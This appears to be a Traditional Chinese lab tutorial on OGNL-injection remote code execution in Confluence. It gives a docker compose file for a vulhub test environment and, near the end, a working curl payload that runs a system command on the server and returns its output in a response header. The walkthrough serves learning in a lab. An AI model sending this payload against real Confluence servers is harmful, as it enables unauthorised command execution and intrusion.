第九天終於迎來RCE類別弱點的最後一個,這個弱點是發生在一個叫做Confluence的套裝商用軟體身上。一樣先送上漏洞資訊給各位參考一下。
漏洞相關資訊
Confluence 是一套企業用的知識管理系統,有點類似維基百科一樣,相當簡單且功能強大。該軟體有使用到 OGNL 函式庫,該函式庫是可以透過表達式語言,去設定或是取得Java物件的屬性,但它似乎還有其他有趣的功能,就是觸發RCE的攻擊。跟之前一樣,我們要先建立一個 Confluence 的環境架構,但這次的環境會稍微複雜一點,參考如下圖 :
觀察圖上可發現,這次會用到兩個別人預先建立好的容器,所以在我們之前的想像會是要用 docker 指令分別對容器進行建置跟設定,但很快就會發現以下問題 :
這種時候就必須用到 docker compose 的功能了,它能夠透過單一個 yaml 檔案去建立及管理多個容器,而且也會自動幫忙管理容器的host對應,方便服務之間的查找。在使用 docker compose 之前,我們先來測試普通容器之間的查找關係。
步驟如下 :
體會到自己管理容器的辛苦之後,使用 docker compose 的建置步驟參考如下 :
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
- "5050:5050"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
接著就可以連入服務進行設定,步驟如下 :
curl --head -k "http://IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
參考資料